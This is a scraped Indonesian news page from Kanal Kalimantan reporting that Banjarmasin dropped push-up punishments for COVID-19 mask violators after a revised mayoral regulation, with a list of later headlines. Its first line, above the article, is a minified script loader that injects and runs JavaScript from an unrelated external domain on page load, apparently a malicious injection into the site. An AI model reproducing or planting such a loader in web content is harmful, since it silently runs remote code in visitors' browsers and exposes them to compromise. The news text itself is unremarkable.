(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Tak Tercantum di Perwali,Sanksi Push up Dihilangkan


KANALKALIMANTAN.COM, BANJARMASIN – Sanksi push up yang diberikan bagi warga yang lalai dalam menjalankan disiplin protokol kesehatan sesuai Perwali Nomor 68 Tahun 2020 secara resmi dihapus. Hal ini diungkapkan oleh Plt Kepala Satpol PP Kota Banjarmasin, Faturrahim.

Menurutnya, bentuk hukuman fisik tersebut memang sempat tercantum dalam Perwali Nomor 60 Tahun 2020. Tetapi, sanksi fisik ini tak lagi diberlakukan, seiring dengan adanya revisi yang berujung pada digantinya Perwali Nomor 60 dengan Perwali Nomor 68.

“Di Perwali yang sudah direvisi tidak ada sanksi fisik,” kata Faturrahim di Banjarmasin, Kamis (3/9/2020) pagi.

Ia menerangkan, seluruh jajaran seperti unsur TNI, Polri dan Satpol PP Kota Banjarmasin, sepakat untuk tidak memberikan sanksi fisik terhadap pelanggar. Melainkan, hanya berupa sanksi lisan, tulisan, sosial dan sanksi denda uang.

“Seluruh aparat telah diimbau agar tidak lagi memberikan sanksi fisik kepada warga yang tidak mengenakan masker,” imbuhnya.

Kendati sanksi push up itu diberikan atas permintaan dari warga sendiri karena melihat di daerah-daerah lain yang banyak menerapkan bentuk hukuman fisik terebut. “Memang di Perwali 60/2020 sebelumnya ada diatur. Tapi Perwali yang sekarang sudah dihilangkan,” terangnya.

Disamping itu, ia tidak menampik jika dalam penerapan Perwali disiplin protokol kesehatan dalam beberapa hari ini masih banyak terdapat masyarakat yang belum mengindahkan protokol kesehatan. Dimana, pertama saja sudah 104 orang yang melanggar, dan hari kedua kemarin 102 orang.

Sehingga, ia bersama jajaran Pemerintah Kota, Polresta Banjarmasin dan Kodim 1007/ Banjarmasin, meminta kepada seluruh lapisan masyarakat agar betul-betul mentaati protokol kesehatan yang sudah ditetapkan pemerintah sebagai upaya mencegah penyebaran Covid-19.

“Tujuannya tidak lain adalah untuk menekan penularan wabah Covid-19 di Kota Banjarmasin,” pungkasnya. (kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.